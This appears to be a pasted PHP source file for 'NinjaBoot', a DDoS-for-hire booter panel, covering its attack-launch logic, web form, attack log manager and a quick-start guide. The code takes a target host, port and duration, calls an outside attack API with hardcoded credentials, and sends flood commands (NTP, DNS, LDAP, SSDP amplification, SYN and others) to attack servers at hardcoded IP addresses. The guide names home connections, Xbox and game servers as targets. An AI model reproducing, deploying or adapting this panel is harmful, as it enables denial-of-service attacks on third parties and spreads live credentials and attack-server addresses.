  602.                                             while ($show = $SQLSelect -> fetch(PDO::FETCH_ASSOC))
  603.                                             {
  604.                                                 $host = $show['ip'];
  605.                                                 $port = $show['port'];
  606.                                                 $time = $show['time'];
  607.                                                 $network = $show['network'];
  608.                                                 $method = $show['method'];
  609.                                                 $username2 = $_SESSION['username'];
  610.                                                 $tokenfuck = strip_tags(htmlentities(generateRandomString2()));
  611.  
  612.                                                 $SQLCheckMatch2 = $odb->prepare("SELECT COUNT(*) FROM `logs` WHERE `ip` = :host AND `user` = :user AND `date` + `time` > UNIX_TIMESTAMP() AND `stopped` = '0'");
  613.                                                 $SQLCheckMatch2->execute(array(':host' => $host, ':user' => $_SESSION['username']));
  614.                                                 $SQLDank2 = $SQLCheckMatch2 -> fetchColumn(0);
  615.  
  616.                                                 if ($SQLDank2 < 10){
  617.                                                
  618.                                                
  619.                                                 if($method == "HTTP") {
  620.                                                     $curl = curl_init();
  621.                                                     curl_setopt_array($curl, array(
  622.                                                         CURLOPT_RETURNTRANSFER => 1,
  623.                                                         CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=http&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
  624.                                                         CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
  625.                                                         CURLOPT_CONNECTTIMEOUT  => 5
  626.                                                     ));
  627.                                                    
  628.                                                     curl_exec($curl);
  629.                                                     curl_close($curl);
  630.                                                    
  631.                                                     $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
  632.                                                     $insertLogSQL->execute(array(':user' => $username2, ':token' => $tokenfuck, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => '0'));
  633.                                                                        
  634.                                                     echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds!');
  635.                                                 }
  636.                                                
  637.                                                
  638.                                             else    if($method == "OVH") {
  639.                                                     $curl = curl_init();
  640.                                                     curl_setopt_array($curl, array(
  641.                                                         CURLOPT_RETURNTRANSFER => 1,
  642.                                                         CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=udpplain&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
  643.                                                         CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
  644.                                                         CURLOPT_CONNECTTIMEOUT  => 5
  645.                                                     ));
  646.                                                    
  647.                                                     curl_exec($curl);
  648.                                                     curl_close($curl);
  649.                                                    
  650.                                                     $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
  651.                                                     $insertLogSQL->execute(array(':user' => $username2, ':token' => $tokenfuck, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => '0'));
  652.                                                                        
  653.                                                     echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds!');
  654.                                                 }
  655.                                                
  656.                                            
  657.                                                 else if ($method == "JOOMLA") {
  658.                                                    
  659.                                                     $curl = curl_init();
  660.                                                     curl_setopt_array($curl, array(
  661.                                                         CURLOPT_RETURNTRANSFER => 1,
  662.                                                         CURLOPT_URL => "http://api.buyapi.ninja/?host=$host&method=Joomla&port=$port&time=$time&username=Saint4145&password=ZQ2yj[!vfx.s5jJ?",
  663.                                                         CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0',
  664.                                                         CURLOPT_CONNECTTIMEOUT  => 5
  665.                                                     ));
  666.                                                    
  667.                                                     curl_exec($curl);
  668.                                                     curl_close($curl);
  669.                                                    
  670.                                                     $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
  671.                                                     $insertLogSQL->execute(array(':user' => $username2, ':token' => $tokenfuck, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => '0'));
  672.                                                                        
  673.                                                     echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds!');
  674.  
  675.                                                 } else {
  676.  
  677.                                                 $servers = array();
  678.  
  679.                                                                         $SQLGetAPIs = $odb -> query("SELECT * FROM `servers`");
  680.                                                                         while($info = $SQLGetAPIs -> fetch(PDO::FETCH_ASSOC)) {
  681.                                                                             array_push($servers, $info['last_used']);
  682.                                                                         }
  683.  
  684.                                                                         $getServer = min($servers);
  685.  
  686.                                                                         $getserverSQL = $odb -> prepare("SELECT * FROM `servers` WHERE `last_used` = :last_used LIMIT 1");
  687.                                                                         $getserverSQL -> execute(array(':last_used' => $getServer));
  688.                                                                         $get_server = $getserverSQL -> fetch();
  689.  
  690.                                                                         $SQLUpdate = $odb -> prepare("UPDATE `servers` SET `last_used` = :last_used WHERE `id` = :id");
  691.                                                                         $SQLUpdate -> execute(array(':last_used' => time(), ':id' => $get_server['id']));
  692.                                                                        
  693.                                                 if ($method == "ESSYN" OR $method == "DOMINATE" OR $method == "STCP") {
  694.                                                     $get_command = "screen -dmS $username2-$tokenfuck ./ESSYN $host $port 5 550000 $time";
  695.                                                 } else if ($method == "VSE") {
  696.                                                     $get_command = "screen -dmS $username2-$tokenfuck ./VSE $host 5 550000 $time";
  697.                                                 } else if ($method == "LAG") {
  698.                                                     $get_command = "screen -dmS $username2-$tokenfuck ./NTP $host ntp.txt 2 50000 $time";
  699.                                                 } else if ($method == "NTP") {
  700.                                                     $get_command = "screen -dmS $username2-$tokenfuck ./NTP $host ntp.txt 5 550000 $time";
  701.                                                 } else if ($method == "XACK") {
  702.                                                     $get_command = "screen -dmS $username2-$tokenfuck ./XACK $host $port 5 550000 $time";
  703.                                                 } else if ($method == "DNS") {
  704.                                                     $get_command = "screen -dmS $username2-$tokenfuck ./DNS $host $port dns.txt 4 $time";
  705.                                                 } else if ($method == "SUDP") {
  706.                                                     $get_command = "screen -dmS $username2-$tokenfuck ./SUDP $host 5 6 $time";
  707.                                                 } else if ($method == "LDAP") {
  708.                                                     $get_command = "screen -dmS $username2-$tokenfuck ./LDAP $host $port ldap.txt 4 550000 $time";
  709.                                                 } else if ($method == "SSDP") {
  710.                                                     $get_command = "screen -dmS $username2-$tokenfuck ./SSDP $host $port ssdp.txt 5 550000 $time";
  711.                                                 } else {
  712.                                                     $get_command = "screen -dmS $username2-$tokenfuck ./DNS $host $port dns.txt 4 $time";
  713.                                                 }
  714.  
  715.                                                     if ($network == 1) {
  716.                                                                            
  717.                                                         $socket = socket_create(AF_INET, SOCK_STREAM, 0);
  718.                                                         $result = socket_connect($socket, $get_server['server_ip'], 5051);
  719.                                                         socket_write($socket, "UziCaNnNSuCcNuTS1322|$get_command");
  720.                                                         socket_close($socket);
  721.  
  722.                                                     } else if ($network == 2) {    
  723.  
  724.                                                         $socket = socket_create(AF_INET, SOCK_STREAM, 0);
  725.                                                         $result = socket_connect($socket, '185.191.239.194', 5051);
  726.                                                         socket_write($socket, "UziCaNnNSuCcNuTS1322|$get_command");
  727.                                                         socket_close($socket);
  728.                                                        
  729.                                                         $socket = socket_create(AF_INET, SOCK_STREAM, 0);
  730.                                                         $result = socket_connect($socket, '91.212.150.239', 5051);
  731.                                                         socket_write($socket, "UziCaNnNSuCcNuTS1322|$get_command");
  732.                                                         socket_close($socket);
  733.  
  734.                                                     }
  735.                                                
  736.                                                 $insertLogSQL = $odb ->prepare("INSERT INTO `logs` VALUES(NULL, :user, :token, :ip, :port, :network, :time, :method, UNIX_TIMESTAMP(), '0', :server_id)");
  737.                                                 $insertLogSQL->execute(array(':user' => $username2, ':token' => $tokenfuck, ':ip' => $host, ':port' => $port, ':network' => $network, ':time' => $time, ':method' => $method, ':server_id' => $get_server['id']));
  738.  
  739.                                                 if ($network == 1) {
  740.                                                     echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds using Attack Server '.$get_server['name'].'!');
  741.                                                 } else if ($network == 2) {
  742.                                                     echo $design->alert('success', 'Success', 'Attack has been started on '.$host.':'.$port.' for '.$time.' seconds using all Attack Servers');
  743.                                                 }
  744.                                                
  745.                                                 }
  746.                                                
  747.                                                 } else {
  748.                                             echo $design->alert('danger', 'Error', 'Attack Already Running On Target');
  749.                                     }
  750.                                             }
  751.                                         } else {
  752.                                            echo $design->alert('danger', 'Error', 'No more concurrents available, Consider upgrading!');
  753.                                         }
  754.                                     }
  755.                                 }
  756.  
  757.                             ?>
  758.  
  759.                                 <?php
  760.                                         if(isset($_POST['clearBtn'])){
  761.                                                 $SQL = $odb->prepare("DELETE FROM `logs` WHERE `user` = :username AND `date` + `time` < UNIX_TIMESTAMP()");
  762.                                                 $SQL->execute(array(':username' => $_SESSION['username']));
  763.  
  764.                                                 $SQL1 = $odb->prepare("DELETE FROM `logs` WHERE `user` = :username AND `date` + `time` > UNIX_TIMESTAMP() AND `stopped` = '1'");
  765.                                                 $SQL1->execute(array(':username' => $_SESSION['username']));
  766.  
  767.                                                 echo $design->alert('success', 'Success', 'Attack Logs have been cleared!');
  768.                                             }
  769.                                 ?>
  770.  
  771.                             <div class="col-sm-5 col-md-5 col-lg-5">
  772.                                 <div class="card-box">
  773.  
  774.                                     <h4 class="header-title m-t-0 m-b-30">Launch Attack</h4>
  775.  
  776.                                     <div class="row">
  777.                                         <div class="col-sm-12 col-md-12 col-lg-12">
  778.                                             <form class="form-horizontal" method="POST">
  779.                                                 <div class="form-group">
  780.                                                     <div class="col-sm-12 col-md-12 col-lg-12">
  781.                                                         <input type="text" class="form-control" name="host" required="" placeholder="Target (Host or Domain)">
  782.                                                     </div>
  783.                                                 </div>
  784.                                                 <div class="form-group">
  785.                                                     <div class="col-sm-12 col-md-12 col-lg-12">
  786.                                                         <input type="text" class="form-control" name="port" required="" placeholder="80 (Port)">
  787.                                                     </div>
  788.                                                 </div>
  789.                                                 <div class="form-group">
  790.                                                     <div class="col-sm-12 col-md-12 col-lg-12">
  791.                                                         <input type="text" class="form-control" name="time" required="" placeholder="300 (Length)">
  792.                                                     </div>
  793.                                                 </div>
  794.                                                 <div class="form-group">
  795.                                                     <div class="col-sm-6 col-md-6 col-lg-6">
  796.                                                     <select class="form-control select2" name="method">
  797.                                         <optgroup label="Layer-4 (UDP)">
  798.                                             <option value="DNS">DNS</option>
  799.                                             <option value="LAG">LAG</option>
  800.                                             <option value="NTP">NTP</option>
  801.                                             <option value="SSDP">SSDP</option>
  802.                                             <option value="LDAP">LDAP</option>
  803.                                        
  804.                                          
  805.                                         </optgroup>
  806.                                         <optgroup label="Layer-4 (TCP)">
  807.                                             <option value="ESSYN">ESSYN</option>
  808.                                             <option value="VSE">VSE</option>
  809.                                    
  810.                                         </optgroup>
  811.                                          <optgroup label="Layer-7">
  812.                                          <option value="JOOMLA">Comming Soon</option>
  813.                                        
  814.                                      
  815.                                     </select>
  816.                                                        
  817.                                                     </div>
  818.                                                     <div class="col-sm-6 col-md-6 col-lg-6">
  819.                                                         <select class="form-control" name="network" required="">
  820.                                                             <option value="1">STANDARD NETWORK</option>
  821.                                                             <option value="2">VIP NETWORK</option>
  822.                                                         </select>
  823.                                                     </div>
  824.                                                 </div>
  825.                                                
  826.                                                                                             <button type="submit" name="attackBtn" class="btn btn-primary waves-effect waves-light">Launch Attack</button>
  827.                                                 <a href="#custom-modal" class="btn btn-inverse waves-effect waves-light pull-right" data-animation="fadein" data-plugin="custommodal"
  828.                                                         data-overlaySpeed="200" data-overlayColor="#36404a">Attack Help</a>
  829.                                                        
  830.                                             </form>
  831.                                         </div><!-- end col -->
  832.                                     </div><!-- end row -->
  833.                                 </div>
  834.                             </div><!-- end col -->
  835.  
  836.          
  837.  
  838.                                 <div class="col-sm-7 col-md-7 col-lg-7">
  839.                                 <div class="card-box table-responsive">
  840.                                     <h4 class="header-title m-t-0 m-b-30">Attack Manager</h4>
  841.  
  842.                                     <form method="POST">
  843.  
  844.                                     <table id="datatable" class="table table-striped table-bordered">
  845.                                         <thead>
  846.                                             <tr>
  847.                                             <th>ID</th>
  848.                                             <th>Date</th>
  849.                                             <th>Target</th>
  850.                                             <th>Time</th>
  851.                                             <th>Port</th>
  852.                                             <th>Method</th>
  853.                                             <th>Status</th>
  854.                                             <th>Action</th>
  855.                                             </tr>
  856.                                         </thead>
  857.                                         <tbody class="">
  858.                                     <?php
  859.  
  860.                                 $SQLGetAttackLogs = $odb -> query("SELECT * FROM `logs` WHERE `user` = '".$_SESSION['username']."' ORDER BY `id` DESC");
  861.                                 while($logs = $SQLGetAttackLogs -> fetch(PDO::FETCH_ASSOC)) {
  862.  
  863.                                 $getexpired = 'Expired';
  864.  
  865.  
  866.                                 $expires = $logs['date'] + $logs['time'];
  867.                                 $expirez = $logs['time'] + $logs['date'] - time();
  868.  
  869.                                 if (time() < $expires) {
  870.  
  871.                                     if ($logs['stopped'] == "0") {
  872.  
  873.                                     $getexpired = 'Running';
  874.  
  875.                                      } else {
  876.                                          $getexpired = 'Expired';
  877.                                      }
  878.                                 } else {
  879.                                     $getexpired = 'Expired';
  880.                                 }
  881.  
  882.                                 ?>
  883.  
  884.                                 <tr>
  885.                                     <td><?php echo $logs['id']; ?></td>
  886.                                     <td><?php echo date('m-d-Y' ,$logs['date']); ?></td>
  887.                                     <td><?php echo $logs['ip']; ?></td>
  888.                                     <td><?php echo $logs['time']; ?></td>
  889.                                     <td><?php echo $logs['port']; ?></td>
  890.                                     <td><?php echo $logs['method']; ?></td>
  891.                                     <td><?php echo $getexpired; ?></td>
  892.                                     <td class=""><form method="POST"><input type="hidden" name="attackID" value="<?php echo $logs['id']; ?>"><input <?php if (time() > $expires OR $logs['stopped'] == 1) { echo 'type="submit" name="renewBtn" class="btn btn-primary btn-xs" value="Renew Attack"'; } else { echo 'type="submit" name="stopBtn" class="btn btn-danger btn-xs" value="Stop Attack"'; } ?>></form></td>
  893.                                 </tr>
  894.  
  895.                                 <?php
  896.                                 }
  897.                                 ?>
  898.                                     </tbody>
  899.                                     </table>
  900.                                     <button type="submit" name="clearBtn" class="btn btn-danger waves-effect waves-light">Clear Attack Logs</button>
  901.                                     </form>
  902.                                 </div>
  903.                             </div><!-- end col -->
  904.  
  905.                         </div>
  906.                         <!-- end row -->
  907.                        
  908.  
  909.                     </div> <!-- container -->
  910.  
  911.                 </div> <!-- content -->
  912.  
  913.                 <footer class="footer text-right">
  914.                     2016-2017 © NinjaBoot, All Rights Reserved.
  915.                 </footer>
  916.  
  917.             </div>
  918.  
  919.             <!-- Modal -->
  920.             <div id="custom-modal" class="modal-demo">
  921.                 <button type="button" class="close" onclick="Custombox.close();">
  922.                     <span>&times;</span><span class="sr-only">Close</span>
  923.                 </button>
  924.                 <h4 class="custom-modal-title"><center>Quick Start Guide</center></h4>
  925.                 <div class="custom-modal-text">
  926.                     <center><u>Common Ports & Services</u></center>
  927.                     <br>
  928.                     <table class="table table-striped table-bordered">
  929.                                         <thead>
  930.                                             <tr>
  931.                                                 <th>Port</th>
  932.                                                 <th>Service</th>
  933.                                                 <th>Description</th>
  934.                                             </tr>
  935.                                         </thead>
  936.                                         <tbody>
  937.                                             <tr>
  938.                                                 <td>53/80</td>
  939.                                                 <td>Residential</td>
  940.                                                 <td>Home Connections</td>
  941.                                             </tr>
  942.                                             <tr>
  943.                                                 <td>80</td>
  944.                                                 <td>HTTP</td>
  945.                                                 <td>Default Web Traffic</td>
  946.                                             </tr>
  947.                                             <tr>
  948.                                                 <td>443</td>
  949.                                                 <td>HTTPS</td>
  950.                                                 <td>Secure Web Traffic</td>
  951.                                             </tr>
  952.                                              <tr>
  953.                                                 <td>3306</td>
  954.                                                 <td>MySQL</td>
  955.                                                 <td>Database Management</td>
  956.                                             </tr>
  957.                                             <tr>
  958.                                                 <td>3704</td>
  959.                                                 <td>Xbox</td>
  960.                                                 <td>Default Xbox</td>
  961.                                             </tr>
  962.                                             <tr>
  963.                                                 <td>9987</td>
  964.                                                 <td>TeamSpeak 3</td>
  965.                                                 <td>Default Voice/IP</td>
  966.                                             </tr>
  967.                                             <tr>
  968.                                                 <td>25565</td>
  969.                                                 <td>Minecraft</td>
  970.                                                 <td>Default Server</td>
  971.                                             </tr>
  972.                                         </tbody>
  973.                                     </table>
  974.                     <hr>
  975.                     <center><u>Layer-4 vs Layer-7</u></center>
  976.                     <br>
  977.                     <table class="table table-striped table-bordered">
  978.                                         <thead>
  979.                                             <tr>
  980.                                                 <th>Type</th>
  981.                                                 <th>Target</th>
  982.                                                 <th>Description</th>
  983.                                             </tr>
  984.                                         </thead>
  985.                                         <tbody>
  986.                                             <tr>
  987.                                                 <td>Layer-4</td>
  988.                                                 <td>127.0.0.1 (IP Address)</td>
  989.                                                 <td>Home Connections, Servers, Etc</td>
  990.                                             </tr>
  991.                                             <tr>
  992.                                                 <td>Layer-7</td>
  993.                                                 <td>http://website.com/ (Domain)</td>
  994.                                                 <td>Mainly Websites</td>
  995.                                             </tr>
  996.                                         </tbody>
  997.                                     </table>
  998.                 </div>
  999.             </div>
  1000.  
  1001.  
  1002.             <!-- ============================================================== -->
  1003.             <!-- End Right content here -->
  1004.             <!-- ============================================================== -->
  1005.  
  1006.         </div>
  1007.         <!-- END wrapper -->
  1008.  
  1009.  
  1010.  
  1011.         <script>
  1012.             var resizefunc = [];
  1013.         </script>
  1014.  
  1015.         <!-- jQuery  -->
  1016.         <script src="assets/js/jquery.min.js"></script>
  1017.         <script src="assets/js/bootstrap.min.js"></script>
  1018.         <script src="assets/js/detect.js"></script>
  1019.         <script src="assets/js/fastclick.js"></script>
  1020.         <script src="assets/js/jquery.slimscroll.js"></script>
  1021.         <script src="assets/js/jquery.blockUI.js"></script>
  1022.         <script src="assets/js/waves.js"></script>
  1023.         <script src="assets/js/jquery.nicescroll.js"></script>
  1024.         <script src="assets/js/jquery.slimscroll.js"></script>
  1025.         <script src="assets/js/jquery.scrollTo.min.js"></script>
  1026.  
  1027.         <!-- Datatables-->
  1028.         <script src="assets/plugins/datatables/jquery.dataTables.min.js"></script>
  1029.         <script src="assets/plugins/datatables/dataTables.bootstrap.js"></script>
  1030.         <script src="assets/plugins/datatables/dataTables.buttons.min.js"></script>
  1031.         <script src="assets/plugins/datatables/buttons.bootstrap.min.js"></script>
  1032.         <script src="assets/plugins/datatables/jszip.min.js"></script>
  1033.         <script src="assets/plugins/datatables/pdfmake.min.js"></script>
  1034.         <script src="assets/plugins/datatables/vfs_fonts.js"></script>
  1035.         <script src="assets/plugins/datatables/buttons.html5.min.js"></script>
  1036.         <script src="assets/plugins/datatables/buttons.print.min.js"></script>
  1037.         <script src="assets/plugins/datatables/dataTables.fixedHeader.min.js"></script>
  1038.         <script src="assets/plugins/datatables/dataTables.keyTable.min.js"></script>
  1039.         <script src="assets/plugins/datatables/dataTables.responsive.min.js"></script>
  1040.         <script src="assets/plugins/datatables/responsive.bootstrap.min.js"></script>
  1041.         <script src="assets/plugins/datatables/dataTables.scroller.min.js"></script>
  1042.  
  1043.         <!-- Modal-Effect -->
  1044.         <script src="assets/plugins/custombox/dist/custombox.min.js"></script>
  1045.         <script src="assets/plugins/custombox/dist/legacy.min.js"></script>
  1046.  
  1047.         <!-- KNOB JS -->
  1048.         <!--[if IE]>
  1049.         <script type="text/javascript" src="assets/plugins/jquery-knob/excanvas.js"></script>
  1050.         <![endif]-->
  1051.         <script src="assets/plugins/jquery-knob/jquery.knob.js"></script>
  1052.  
  1053.         <!-- Dashboard init -->
  1054.         <script src="assets/pages/jquery.dashboard.js"></script>
  1055.  
  1056.         <!-- App js -->
  1057.         <script src="assets/js/jquery.core.js"></script>
  1058.         <script src="assets/js/jquery.app.js"></script>
  1059.  
  1060.         <script type="text/javascript">
  1061.             $(document).ready(function() {
  1062.                 $('#datatable').dataTable();
  1063.                 $('#datatable-keytable').DataTable( { keys: true } );
  1064.                 $('#datatable-responsive').DataTable();
  1065.                 $('#datatable-scroller').DataTable( { ajax: "assets/plugins/datatables/json/scroller-demo.json", deferRender: true, scrollY: 380, scrollCollapse: true, scroller: true } );
  1066.                 var table = $('#datatable-fixed-header').DataTable( { fixedHeader: true } );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement